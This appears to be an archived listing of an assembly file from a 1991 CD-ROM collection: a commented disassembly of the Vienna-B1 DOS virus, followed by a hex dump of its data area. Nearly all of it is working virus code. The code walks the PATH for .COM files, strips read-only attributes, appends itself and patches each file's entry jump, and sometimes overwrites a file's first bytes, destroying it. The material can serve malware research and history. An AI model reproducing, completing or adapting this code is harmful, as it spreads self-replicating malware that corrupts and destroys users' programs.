home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIENNAAS.ASM < prev    next >
Assembly Source File  |  1991-03-07  |  14KB  |  332 lines

  1.         ;           disassembly of vienna-b1 virus
  2.  
  3.  
  4.         jmp label1
  5. message:
  6.         db "ello, world!$"                               ;*************
  7.         mov ah,09h               ;print string           ;  part of   *
  8.         mov dx,message           ;point to string        ;  original  *
  9.         int 21h                  ;call msdos             ;  com file. *
  10.         int 20h                  ;terminate program      ;*************
  11. label1:
  12.         push cx                  ;
  13.         mov dx,0312h             ;start of variables
  14.         cld                      ;clear direction
  15.         mov si,dx                ;si = start of variables
  16.         add si,000Ah
  17.         mov di,0100h             ;destination = 0100h
  18.         mov cx,0003              ;three bytes to move
  19.         repz movsb
  20.         mov si,dx                ;si = 0312h (start of variables)
  21.         mov ah,30h               ;get dos version number
  22.         int 21h                  ;call msdos
  23.         cmp al,00h               ;old version?
  24.         jnz label2               ;no
  25.         jmp label3               ;yes
  26. label2:
  27.         push es                  ;store extra segment
  28.         mov ah,2fh               ;get DTA address
  29.         int 21h                  ;call msdos
  30.         mov [si+0000h],bx        ;save DTA offset
  31.         mov [si+0002],es         ;save DTA segment
  32.         pop es                   ;restore extra segment address
  33.         mov dx,005fh             ;
  34.         nop
  35.         add dx,si                ;pointer to new DTA address
  36.         mov ah,1ah               ;set DTA address
  37.         int 21h                  ;call msdos
  38.         push es                  ;save extra segment address again
  39.         push si                  ;save source index register
  40.         mov es,[002ch]
  41.         mov di,0000h
  42. label4:
  43.         pop si
  44.         push si
  45.         add si,001ah
  46.         lodsb                    ;get byte from source address
  47.         mov cx,8000h             ;
  48.         repnz scasb
  49.         mov cx,0004h             ;
  50. label7:
  51.         lodsb                    ;get byte from source
  52.         scasb                    ;store byte
  53.         jnz label4               ;jump back till done
  54.         loop label7
  55.         pop si                   ;restore source index register
  56.         pop es                   ;and extra segment
  57.         mov [si+0016h],di
  58.         mov di,si
  59.         add di,001fh
  60.         mov bx,si
  61.         add si,001fh
  62.         mov di,si
  63.         jmp label5
  64. label13:
  65.         cmp word ptr [si+0016h],00h
  66.         jnz label5
  67.         jmp label6
  68.         push ds
  69.         push si
  70.         es mov ds,[002ch]
  71.         mov di,si
  72.         es mov si,[di+0016h]
  73.         add di,001fh
  74. label10:
  75.         lodsb                    ;get byte
  76.         cmp al,3bh
  77.         jz label8
  78.         cmp al,00h
  79.         jz label9
  80.         stosb                    ;store byte
  81.         jmp label10
  82. label9:
  83.         mov si,0000h
  84. label8:
  85.         pop bx
  86.         pop ds
  87.         mov [bx+0016h],si
  88.         cmp byte ptr [di-01h],5ch
  89.         jz label5
  90.         mov al,5ch
  91.         stosb                    ;store byte
  92. label5:
  93.         mov [bx+0018h],di
  94.         mov si,bx
  95.         add si,0010h
  96.         mov cx,0006h
  97.         repz movsb
  98.         mov si,bx
  99.         mov ah,4eh               ;search for first match
  100.         mov dx,001fh             ;pointer to asciiz file spec.-si
  101.         nop
  102.         add dx,si                ;pointer to asciiz file spec.
  103.         mov cx,0003h             ;attribute to us in search match
  104.         int 21h                  ;call msdos
  105.         jmp label11
  106. label14:
  107.         mov ah,4fh               ;search for next match
  108.         int 21h                  ;call msdos
  109. label11:
  110.         jnb label12
  111.         jmp label13
  112. label12:
  113.         mov ax,[si+0075h]
  114.         and al,1fh
  115.         cmp al,1fh
  116.         jz label14
  117.         cmp word ptr [si+0079h],0fa00h
  118.         ja label14
  119.         cmp word ptr [si+0079h],0ah
  120.         jb label14
  121.         mov di,[si+0018h]
  122.         push si
  123.         add si,007dh
  124. label15:
  125.         lodsb
  126.         stosb
  127.         cmp al,00h
  128.         jnz label15
  129.         pop si
  130.         mov ax,4300h             ;get file attributes
  131.         mov dx,001fh             ;pointer to asciiz file spec. -si
  132.         nop
  133.         add dx,si                ;pointer to file spec.
  134.         int 21h                  ;call msdos
  135.         mov [si+0008h],cx
  136.         mov ax,4301              ;set file attributes
  137.         and cx,0fffeh            ;new attributes
  138.         mov dx,001fh             ;pointer to asciiz file spec. -si
  139.         nop
  140.         add dx,si                ;pointer to asciiz file spec.
  141.         int 21h                  ;call msdos
  142.         mov ax,3d02h             ;open file (handle)
  143.         mov dx,001fh             ;pointer to asciiz file spec. -si
  144.         nop
  145.         add dx,si                ;pointer to asciiz file spec.
  146.         int 21h                  ;call msdos
  147.         jnb label16
  148.         jmp label17
  149. label16:
  150.         mov bx,ax
  151.         mov ax,5700h             ;get time and date
  152.         int 21h                  ;call msdos
  153.         mov [si+0004],cx         ;store time
  154.         mov [si+0006],dx         ;store date
  155.         mov ah,2ch               ;get system time
  156.         int 21h                  ;call msdos
  157.         and dh,07h
  158.         jnz label18
  159.         mov ah,40h               ;write to file or device (handle)
  160.         mov cx,0005h             ;number of bytes to write
  161.         mov dx,si                ;get file spec. address -8ah
  162.         add dx,008ah             ;add 8ah to get file spec. address
  163.         int 21h                  ;call msdos
  164.         jmp label19
  165.         nop
  166. label18:
  167.         mov ah,3fh               ;read file or device (handle)
  168.         mov cx,0003h             ;number of bytes to read
  169.         mov dx,000ah             ;point to buffer -si
  170.         nop
  171.         add dx,si                ;pointer to buffer area
  172.         int 21h                  ;call msdos
  173.         jb label19
  174.         cmp ax,0003h             ;number of bytes read
  175.         jnz label19
  176.         mov ax,4202h             ;move file pointer
  177.                                  ;offset from end of file
  178.         mov cx,0000h             ;offset desired
  179.         mov dx,0000h             ;as above
  180.         int 21h                  ;call msdos
  181.         jb label19
  182.         mov cx,ax
  183.         sub ax,0003h
  184.         mov [si+000eh],ax
  185.         add cx,02f9h
  186.         mov di,si
  187.         sub di,01f7h
  188.         mov [di],cx
  189.         mov ah,40h               ;write to file or device (handle)
  190.         mov cx,0288h             ;number of bytes to write
  191.         mov dx,si                ;
  192.         sub dx,01f9h             ;dx = pointer to buffer of data write
  193.         int 21h                  ;call msdos
  194.         jb label19
  195.         cmp ax,0288h             ;288h bytes written?
  196.         jnz label19
  197.         mov ax,4200h             ;move file pointer
  198.                                  ;offset from beginning of file 
  199.         mov cx,0000h             ;desired offset
  200.         mov dx,0000h             ;desired offset
  201.         int 21h                  ;call msdos
  202.         jb label19
  203.         mov ah,40h               ;write to file or device (handle)
  204.         mov cx,0003h             ;number of bytes to write
  205.         mov dx,si                ;
  206.         add dx,000dh             ;pointer to buffer of data write
  207.         int 21h                  ;call msdos
  208. label19:
  209.         mov dx,[si+0006h]
  210.         mov cx,[si+0004h]
  211.         and cx,0ffe0h
  212.         or cx,001fh
  213.         mov ax,5701h             ;set date and time
  214.         int 21h                  ;call msdos
  215.         mov ah,3eh               ;close file
  216.         int 21h                  ;call msdos
  217. label17:
  218.         mov ax,4301h             ;set file attributes
  219.         mov di,[si+0008h]
  220.         mov dx,001fh             ;pointer to asciiz file spec. -si
  221.         nop
  222.         add dx,si                ;pointer to ascii file spec.
  223.         int 21h                  ;call msdos
  224. label6:
  225.         push ds                  ;save data segment
  226.         mov ah,1ah               ;set DTA address
  227.         mov dx,[si+0000]         ;retrieve original DTA
  228.         mov ds,[si+0002]         ;and data segment of dta
  229.         int 21h                  ;call msdos
  230.         pop ds                   ;restore DTA
  231. label3:
  232.         pop cx
  233.         xor ax,ax                ;clear accumulator
  234.         xor bx,bx                ;and bx
  235.         xor dx,dx                ;and dx
  236.         xor si,si                ;and si
  237.         mov di,0100h             ;pointer to execution program to be
  238.                                  ;run now virus has finished
  239.         push di
  240.         xor di,di                ;clear di
  241.         ret 0ffffh               ;?
  242.  
  243.  
  244.  
  245. start_of_variables:
  246. 0312 80003E        ADD    BYTE PTR [BX+SI],3E                
  247. 0315 40            inc    ax                                 
  248. 0316 D592          AAD    92                                 
  249. 0318 8511          TEST    dx,[BX+DI]                         
  250. 031A 2000          AND    [BX+SI],AL                         
  251.  
  252. 031C EB0E          JMP    032ch                ;jump address to place at
  253.                                              ;beginning of source program                               
  254. 031E 48            DEC    ax                                 
  255. 031F E91600        JMP    0338                               
  256.                    db "*.COM"
  257. 0327 0027          ADD    [BX],ah                            
  258. 0329 0022          ADD    [BP+SI],ah                         
  259. 032B 03
  260.                    db "PATH=DANGER!.COM EM.COM"
  261. 032C 5041        ADD    dx,[BX+SI+41]                      
  262. 032E 54            push    SP                                 
  263. 032F 48            DEC    ax                                 
  264. 0330 3D4441        cmp    ax,4144                            
  265. 0333 4E            DEC    SI                                 
  266. 0334 47            inc    DI                                 
  267. 0335 45            inc    BP                                 
  268. 0336 52            push    dx                                 
  269. 0337 212E434F      AND    [4F43],BP                          
  270. 033B 4D            DEC    BP                                 
  271. 033C 00454D        ADD    [DI+4D],AL                         
  272. 033F 2E            CS:                                       
  273. 0340 43            inc    BX                                 
  274. 0341 4F            DEC    DI                                 
  275. 0342 4D            DEC    BP                                 
  276. 0343 0000          ADD    [BX+SI],AL                         
  277. 0345 43            inc    BX                                 
  278. 0346 4F            DEC    DI                                 
  279. 0347 4D            DEC    BP                                 
  280. 0348 0020          ADD    [BX+SI],ah                         
  281. 034A 2020          AND    [BX+SI],ah                         
  282. 034C 2020          AND    [BX+SI],ah                         
  283. 034E 2020          AND    [BX+SI],ah                         
  284. 0350 2020          AND    [BX+SI],ah                         
  285. 0352 2020          AND    [BX+SI],ah                         
  286. 0354 2020          AND    [BX+SI],ah                         
  287. 0356 2020          AND    [BX+SI],ah                         
  288. 0358 2020          AND    [BX+SI],ah                         
  289. 035A 2020          AND    [BX+SI],ah                         
  290. 035C 2020          AND    [BX+SI],ah                         
  291. 035E 2020          AND    [BX+SI],ah                         
  292. 0360 2020          AND    [BX+SI],ah                         
  293. 0362 2020          AND    [BX+SI],ah                         
  294. 1463:0364 2020          AND    [BX+SI],ah                         
  295. 1463:0366 2020          AND    [BX+SI],ah                         
  296. 1463:0368 2020          AND    [BX+SI],ah                         
  297. 1463:036A 2020          AND    [BX+SI],ah                         
  298. 1463:036C 2020          AND    [BX+SI],ah                         
  299. 1463:036E 2020          AND    [BX+SI],ah                         
  300. 1463:0370 2003          AND    [BP+DI],AL                        
  301. 1463:0372 3F            AAS                                       
  302. 1463:0373 3F            AAS                                       
  303. 1463:0374 3F            AAS                                       
  304. 1463:0375 3F            AAS                                       
  305. 1463:0376 3F            AAS                                       
  306. 1463:0377 3F            AAS                                       
  307. 1463:0378 3F            AAS                                       
  308. 1463:0379 3F            AAS                                       
  309. 1463:037A 43            inc    BX                                 
  310. 1463:037B 4F            DEC    DI                                 
  311. 1463:037C 4D            DEC    BP                                 
  312. 1463:037D 0305          ADD    ax,[DI]                            
  313. 1463:037F 001F          ADD    [BX],BL                            
  314. 1463:0381 0020          ADD    [BX+SI],ah                         
  315. 1463:0383 64            DB    64                                 
  316. 1463:0384 7269          JB    03EF                               
  317. 1463:0386 20D5          AND    CH,DL                              
  318. 1463:0388 92            XCHG    dx,ax                              
  319. 1463:0389 8511          TEST    dx,[BX+DI]                         
  320. 1463:038B 1900          SBB    [BX+SI],ax                         
  321. 1463:038D 0000          ADD    [BX+SI],AL                         
  322. 1463:038F 44            inc    SP                                 
  323. 1463:0390 41            inc    cx                                 
  324. 1463:0391 4E            DEC    SI                                 
  325. 1463:0392 47            inc    DI                                 
  326. 1463:0393 45            inc    BP                                 
  327. 1463:0394 52            push    dx                                 
  328. 1463:0395 212E434F      AND    [4F43],BP                          
  329. 1463:0399 4D            DEC    BP                                 
  330. 1463:039A 0000          ADD    [BX+SI],AL                         
  331. 1463:039C EA0B021358    JMP    5813:020B                          
  332.